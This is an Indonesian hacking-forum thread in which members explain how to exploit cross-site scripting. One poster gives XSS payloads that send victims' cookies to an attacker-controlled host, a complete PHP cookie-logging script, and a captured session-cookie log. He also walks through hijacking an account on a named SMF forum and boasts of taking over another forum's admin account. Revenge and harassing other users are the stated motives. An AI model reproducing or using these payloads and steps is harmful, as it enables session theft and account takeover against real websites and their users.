Page 1 of 2

Apa yang bisa dilakukan dengan XSS?

PostPosted: Sun Jul 18, 2010 11:04 am
by id_out
Mater master, Q lagi coba scanning xss vuln ternyata dapat web yang vuln dengan Xss injection, pada form pencarin.
Nah yang q tnyain dari XSS tersebut apa yang bisa saya lakukan?
Mohon pencerahnnya..
:kaca: :kaca: :kaca: :kaca:

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Mon Jul 19, 2010 7:57 pm
by Darkzzzz
http://www.xcode.or.id/forum/viewtopic.php?f=98&t=39689

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Tue Jul 20, 2010 7:32 pm
by id_out
mksih mr Darkzzzz wat infonnya...
Pi ane dah coba cara itu, pa bisa dikembangin lagi? yar dapet adminnya...
:kaca: :kaca: :kaca:

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Wed Jul 21, 2010 8:15 pm
by darkslayer100
@id_out: klo boleh saya tambahkan.

XSS itu ada 2 jenis (yg saya tahu):
1. XSS non persistent
2. XSS persistent

vocabulary:
client side: cuma terlihat pada komputer client kita saja. Sedangkan pada server/orang lain tidak terlihat
server side: dapat di lihat oleh semua orang yang mengakses web tersebut

1. XSS non persistent
contoh: XSS pada fungsi search, atau lain2
dalam kategory tingkat berbahaya adalah Medium
Kenapa medium? Karena celah XSS ini hanya bekerja secara client side saja.
tetapi jangan remehkan hal ini (kebanyakan di anggap remeh)

Skenario:
mas id_out telah menemukan celah XSS. misal: web.com/search.php?id=XSS
Lalu melakukan fingerprint untuk memperoleh email dari sang admin web tersebut.
Mas id_out lalu mengirimkan email kepada email admin, berupa email yang sekiranya menarik perhatian sang admin untuk mengklik link yang mas id_out sediakan di email tersebut. Tentunya dengan:
Code: Select all
<a href="http://web.com/search.php?id=<script>window.location='http://www.websiteid_out.com/catatcookies.php?catat='+document.cookie</script>">klik this!!</a>


catatcookies.php ini akan mencatat cookies dari sang admin/orang yg mengeklik link dari id_out tadi dan di simpan pada file http://wensiteidout.com/hasilcookies.txt
Silahkan mencari sendiri script tersebut (lg di kantor soalnya, jadi cman nerawang apa yg saya ingat saja) :circle:

2. XSS persistent
contoh: XSS injection pada comment box, posting, artikel, dll
Kategory: High
Kenapa high? karena sifat nya adalah server side/permanent . Script ini akan mengambil cookies orang-orang yang memasuki link ke comment box berisi XSS injection tersebut. XSS ini akan hilang jika sang admin menghapusnya pada CMS atau cpanel nya.

Dengan menggunakan XSS persistent , mas id_out tidak perlu lagi mengirimkan email / social engineering, karena cuman butuh menunggu saja (wait and see)

Skenario:
setelah mengetahui bahwa di dalam web.com/contactus.php terdapat persistent XSS. Maka id_out menulikskan script
Code: Select all
<script>window.location='http://www.websiteid_out.com/catatcookies.php?catat='+document.cookie</script>
pada comment box di contactus.php tersebut.
Katakanlah admin lagi iseng2 memeriksa komen box di contactus, maka cookies admin akan berhasil tercatat pada hasilcookies.txt seperti di atas


Pertanyaan selanjutnya:
Lalu apa hubungannya cookies admin dengan hack cms nya?

cookies = tanda pengenal, atau di alam nyata bisa di sebut KTP. Jadi ketika kita mendapat cookies dari sang admin kita bisa menunjukkan kepada web.com bahwa kita adalah sang admin sebenarnya.

Bagaimana cara memanfaatkan cookies ini?
mas id_out bisa menggunakan berbagai tool mengenai hal ini salah satunya yaitu add-ons dari mozilla yg bernama addneditcookie yg bs di download dan di pelajari di http://addneditcookies.mozdev.org/

Maaf jika terlalu singkat, karena ini bukan artikel tp cman playback atas apa yg di jelaskan oleh rekan-rekan sebelumnya :mati: :mati:


mungkin mas bisa baca tetang XSS di sini jg http://www.binushacker.net/cara-mudah-xss-attack.html

CMIIW
regard,
darkslayer

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Wed Jul 21, 2010 10:18 pm
by d1kz
tp gmna dengan cookies yg ada masa expired nya kk..??? apa msh ampuh juga teknik XSS nya..??? :circle: :circle: :circle:

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Thu Jul 22, 2010 8:38 am
by darkslayer100
yah.. klo udah expired y g bs lah plen :mati:

makanya XSS itu biasanya untuk langkah terkahir klo udah mentog aja.
contoh di nimbuzzing.org yg pake SMF 1.1.1
kita cari exploitnya, dan adanya cman XSS, y terpaksa dech cman pake XSS doank. :maaf: :maaf:

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Thu Jul 22, 2010 8:22 pm
by Darkzzzz
@Darkslayer100
Bedanya XSS Persistent sama Html Injection itu apa?
Soale ane pernah baca tentang Html Injection, caranya sama yaitu dengan memasukan Html Code pada Coment Box, Posting, Artikel, dll
Dan XSS Persistent jg begono?
Atau ke-2 nya itu sama?

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Thu Jul 22, 2010 8:41 pm
by anharku
xss just 4 fun... :devil

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Fri Jul 23, 2010 10:49 am
by Darkzzzz
Jsut 4 nakut2in ke temen :devil

Re: Apa yang bisa dilakukan dengan XSS?

PostPosted: Tue Jul 27, 2010 5:50 am
by darkslayer100
Darkzzzz wrote:@Darkslayer100
Bedanya XSS Persistent sama Html Injection itu apa?
Soale ane pernah baca tentang Html Injection, caranya sama yaitu dengan memasukan Html Code pada Coment Box, Posting, Artikel, dll
Dan XSS Persistent jg begono?
Atau ke-2 nya itu sama?

klo menurut pedapat pribadi saya . Sebenernya HTML dan javascript injection itu g ada. Karena HTML dan javascript injection itu cuman turunan dari XSS (murni pendapat pribadi, CMIIW)

@anharku:
kok gitu sih mas Image Image
tapi wajar2 aja kok klo komen begitu, soalnya rata2 kita pengennya cepet dan praktis, seperti LFI,RFI dan SQLi, jumping dll. tapi klo hal-hal tersebut g ada, y mau gmn lagi :cry:
seperti saya yang sangat malas jika berhadapan dengan website yg g vulner SQLi v5. Tapi klo udah terlanjur dendam kepada suatu website, y mau gmn lagi :omg:
dan parahnya mentok-mentok XSS cuman di buat deface saja. (Yah.. klo cuman deface/ngerjain temen sih g terlalu berbahaya buat forum). Dan admin g perlu panik akan hal ini. Satu lagi kelemahan XSS adalah kita harus melakukan kegiatan yang bernama MENUNGGU, mungkin kita sudah MALAS duluan dan akhirnya pindah ke web yg lain.

Tapi maksd postingan saya sebelumnya di atas adalah XSS untuk mengambil account admin bukan cuma untuk deface. Saya dan pihak admin nimbuzzing.org sendiri juga ngeri klo celah ini g di tutup2. Apalagi pihak SMF tidak melakukan patch terhadap celah XSS ini. Mungkin gara2 XSS nya harus mengetahui password dari admin terlebih dahulu karena terletak di dalam halaman admin. Jadi itung2 cuma penghianat forum saja yg bisa melakukan hacking via XSS ini.


mmh.. misalnya begini..
saya kan di percaya untuk menjadi co-admin di situs nimbuzzing.org. Lalu saya di beri kepercayaan untuk dapat mengakses halaman admin. Akan tetapi bukan super admin, melainkan semi-admin biasa saja, sehingga ada banyak hal yg tidak bisa saya lakukan di sana. Misalnya mengganti email/pass super admin atau member2 yg lain. Lalu saya pun memulai sebuah testing untuk mengupgrade hak akses saya. Saya mulai melakukan footprinting pada SMF 1.1.1 di google dan saya menemukan "40 smf vulnerability" yang bisa di baca di http://code.google.com/p/smf2-review/issues/list

setelah membaca di situ saya tertarik untuk mencoba2 satu persatu. Dan ternyata saya di beri kewenangan untuk menambahkan kata sensor yaitu feature untuk mensensor suatu kata pada SMF. Misalnya: J*anc*k

Exploit nya saya lupa, cz bahasanya nggak jelas banget. Mau baca lagi males :mati:
Lalu setelah menemukan exploit tersebut, saya pun mencoba test XSS. Dan ternyata vulner.

Lalu saya pun lalu menambahkan suatu kata untuk di tambahkan ke dalam cecored word yaitu xcodeforum dan memasukkan javascript untuk melakukan cookie stealing sebagai kata pengganti xcodeforum. Cara kerjanya adalah jika ada member yang menuliskan kata xcodeforum maka akan tereplace dengan javascript saya.

Image

Dimana scriptnya adalah:
Code: Select all
<script>document.location="http://114.57.9.164/cookiestealer.php?cookie=" + document.cookie;document.location="http://www.nimbuzzing.org/forum"</script>


Ket: 114.57.9.164 adalah alamat IP saya. Habis nya hostse.com lagi maintanance :mati:
mungkin ini bisa menjawab pertanyaan dari mas darkzzz mengenai "mengapa localhost saya tidak bisa di akses temen2 yg lain dari internet"

Script di atas akan mencatat cookies yang di dapat ke suatu hostingan (dalam hal ini yg di maksd adalah localhost saya) dan akan meredirect nya lagi ke nimbuzzing.org/forum (biar g ketahuan klo di curi)

isi cookiestealer.php adalah:
Code: Select all
<?php

function GetIP()
{
   if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
      $ip = getenv("HTTP_CLIENT_IP");
   else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
      $ip = getenv("HTTP_X_FORWARDED_FOR");
   else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
      $ip = getenv("REMOTE_ADDR");
   else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
      $ip = $_SERVER['REMOTE_ADDR'];
   else
      $ip = "unknown";
   return($ip);
}

function logData()
{
   $ipLog="cookielog.txt";
   $cookie = $_SERVER['QUERY_STRING'];
   $register_globals = (bool) ini_get('register_gobals');
   if ($register_globals) $ip = getenv('REMOTE_ADDR');
   else $ip = GetIP();

   $rem_port = $_SERVER['REMOTE_PORT'];
   $user_agent = $_SERVER['HTTP_USER_AGENT'];
   $rqst_method = $_SERVER['METHOD'];
   $rem_host = $_SERVER['REMOTE_HOST'];
   $referer = $_SERVER['HTTP_REFERER'];
   $date=date ("l dS of F Y h:i:s A");
   $log=fopen("$ipLog", "a+");

   if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
      fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE:  $cookie <br>");
   else
      fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE: $date | COOKIE:  $cookie \n\n");
   fclose($log);
}

logData();
?>


Setelah itu saya klik OK untuk save settingan ini.
Dalam hal ini username plonk5638 akan mencuri password dari akun member bernama darkslayer (maaf, klo bikin PoC nya nunggu adminnya online ntar bs2 saya baru posting besok, jadi saya pake member yg lain saja untuk pengganti admin) :mati: :mati:
Katakanlah saya dendam dengan darkslayer, sehingga saya ingin agar darkslayer di musuhi oleh semua member / admin, tapi karena saya tidak bisa melihat/mengganti password member, akhirnya saya pakai XSS sebagai jalan keluar.

Di sini saya memodifikasi postingan dari seseorang dalam suatu thread yg kira2 akan dilihat oleh darkslayer (klo kirim messege ntar ketahuan klo saya yg mencuri).

Saya menambahkan kata xcodeforum di sebuah postingan seorang member.
Image

Selanjutnya adalah menunggu dan menunggu :putusasa: dan kabar terparah nya adalah cookies nya bisa kadaluarsa :omg:
jadi mau g mau saya harus sering2 melihat hostingan saya atau bahkan melakukan ekstensifikasi jebakan.
Tapi pada beberapa website tidak perlu khawatir dengan adanya cookies yg expired. Misalnya pada SMF yang terdapat feature remember me FOREVER (bahkan ketika sudah logout pun, cookies nya masih bisa di pakai) <yg ini saya g tau kenapa>

OK. Ini tampilan postingan nya dengan javascript disabled (krn klo saya enable nanti langsung ke direct ke cookiestealer.php)
Image

Loh..lohh.. kok kata2 xcodeforum nya hilang???
yupz.. karena tadi kita replace xcodeforum dengan javascipt yang tidak terbaca ketika saya mendisable javascript di firefox


Sekarang katakanlah darkslayer lagi jalan2 truz, melihat topik itu dan membukannya, maka darkslayer akan langsung terdirect ke nimbuzzing.org/forum (lihat isi script pertama)

Dan ketika saya (plonk5638) melihat cookielog.txt pada hostingan saya maka akan di dapatkan file berikut:
Code: Select all
IP: 114.57.9.164 | PORT: 3855 | HOST:  |  Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7 | METHOD:  | REF: http://nimbuzzing.org/forum/pm/ |  DATE: Tuesday 27th 2010f July 2010 05:40:41 AM | COOKIE:  cookie=SMFCookie463=a%3A4%3A%7Bi%3A0%3Bs%3A4%3A%223502%22%3Bi%3A1%3Bs%3A40%3A%2265910c78b06b85ba14a872998b8e4e37b04b9427%22%3Bi%3A2%3Bi%3A1469396173%3Bi%3A3%3Bi%3A1%3B%7D;%20PHPSESSID=eb88212770e089ef915a4ef8b1e396fb;%20PHPSESSID=eb88212770e089ef915a4ef8b1e396fb;%20base_domain_05968c038291f1985ee5785aa9c6422d=nimbuzzing.org;%20__utma=237767327.77775492.1280175427.1280175427.1280180255.2;%20__utmc=237767327;%20__utmz=237767327.1280180255.2.2.utmcsr=nimbuzzing.org|utmccn=(referral)|utmcmd=referral|utmcct=/forum/pm/;%20_io_ads=22344%2C;%20__utmb=237767327.2.10.1280180255;%20fbsetting_05968c038291f1985ee5785aa9c6422d=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D


Ohya, saya lupa sebelumnya kita juga harus mempelajari bagian mana saja yang di butuhkan. Dalam hal ini, yang penting adalah SMFcookie463 dan PHPSESSID saja yang perlu kita rubah. Setelah mendapatkan cookies ini saya pun mengedit cookie saya (plonk5638) dengan add-ons add n edit cookies

saya (plonk5638) mengedit bagian SMFCookie463 saya (plonk5638) dengan SMFCookie463 milik darkslayer
Image
Saya (plonk5638) mengedit bagian PHPSESSID saya (plonk5638) dengan PHPSESSID milik darkslayer
Image

Lalu saya klik close pada add n edit cookies dan merefresh browser saya. Finnally saya pun berhasil menguasai account darkslayer dan bersiap-siap untuk melecehkan semua anggota forum, agar semua anggota forum ikut2an dendam pada darkslayer :putusasa:

Sebelum di refresh
Image
setelah di refresh
Image

Untuk mencuri acount admin pun sama seperti proses diatas, cuman berhubung adminnya lagi tidur, y terpaksa dech bikin-bikin account tambahan (hadugh.. g bermutu banget sih PoC gw) :putusasa: :putusasa:

Oleh karena itulah mengapa dalam kategory security, websecurify masih mengkategorykan XSS presistent dalam tingkat High dan non-persistent dalam tingkat medium :maaf:

yah, semoga dengan ini mas anharku dan darkzzz juga memandang XSS sebagai ancaman untuk keamanan web kita :kaca: soalnya saya dulu juga memandang sebelah mata mengenai hal ini, sampai akhirnya saya berhasil mendapatkan account admin forum scient prancis dengan bermodalkan XSS dan sosial engineering dalam waktu seminggu :kaca: :kaca:


darkzzz said: ngomog apaan sih lo . . :gebrak:
anharku said: maklum anak baru biasanya suka berlagak . . :ngakak: :ngakak:
darkslayer: hikz..hikz... :mati: :putusasa:


CMIIW please :maaf: